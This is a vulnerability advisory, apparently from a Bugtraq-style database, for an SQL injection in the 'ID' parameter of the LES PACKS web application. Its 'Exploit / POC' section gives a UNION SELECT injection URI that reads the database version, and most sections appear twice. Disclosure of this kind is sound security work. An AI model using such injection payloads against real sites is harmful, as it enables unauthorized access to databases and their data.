LES PACKS 'ID' Parameter SQL Injection Vulnerability
BID:44457
Info
LES PACKS 'ID' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 44457 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 27 2010 12:00AM |
| Updated: | Oct 27 2010 12:00AM |
| Credit: | Cru3l.b0y |
| Vulnerable: |
14h28.com LES PACKS 0 |
| Not Vulnerable: | |
Discussion
LES PACKS 'ID' Parameter SQL Injection Vulnerability
LES PACKS is prone to an SQL-injection vulnerability.
An attacker can exploit this SQL-injection issue to carry out unauthorized actions on the underlying database, which may compromise the application and aid in further attacks.
LES PACKS is prone to an SQL-injection vulnerability.
An attacker can exploit this SQL-injection issue to carry out unauthorized actions on the underlying database, which may compromise the application and aid in further attacks.
Exploit / POC
LES PACKS 'ID' Parameter SQL Injection Vulnerability
The following example URI is available:
http://www.example.com/index.php?Page=articles&ID=-1+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15
The following example URI is available:
http://www.example.com/index.php?Page=articles&ID=-1+union+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15
Solution / Fix
LES PACKS 'ID' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].